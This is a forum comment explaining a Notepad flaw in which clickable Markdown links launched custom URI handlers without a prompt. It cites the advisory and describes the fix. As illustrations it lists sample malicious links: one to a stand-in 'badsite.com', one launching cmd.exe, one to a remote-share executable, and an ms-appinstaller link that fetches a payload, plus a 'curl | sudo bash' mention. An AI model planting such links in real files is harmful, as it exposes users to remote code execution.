Comment by NetMageSCW

No, that's exactly what the vulnerability is as far as I know.

"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad, causing the application to launch unverified protocols that load and execute remote files." https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...

Imagine some Markdown:

    [link](https://badsite.com)
    [link](file://C:/windows/system32/cmd.exe)
    [link](file://\\1.2.3.4\share\foo.exe)
    [link](ms-appinstaller://?source=https://badsite.com/bad.appx)

Wordpad, Notepad++ and many others highlight and let you double-click the URL in the first three lines, and yes they use the shell to open cmd.exe, yes they open remote shares (which if they're properly remote, the shell throws up a warning prompt asking if you want to connect). Wordpad always prompts if you want to open the link (and shows the link) before doing it, but you can click "Yes".

What's beyond the pale is that MS's new Notepad highlighted custom URIs like the fourth link, and let you click to open it without a prompt. Even web browsers will prompt at least once with a special modal dialogue, the first time you click on a link to a custom URI. For safety, a text editor should stick to highlighting http/https/file URIs only.

That's the "RCE", in the same way that telling a Linux user to type "curl | sudo bash" in their shell is "RCE".

The fix is that clicking the link now gives a dialogue box asking if you really want to click it, and remember to click no if you're not sure.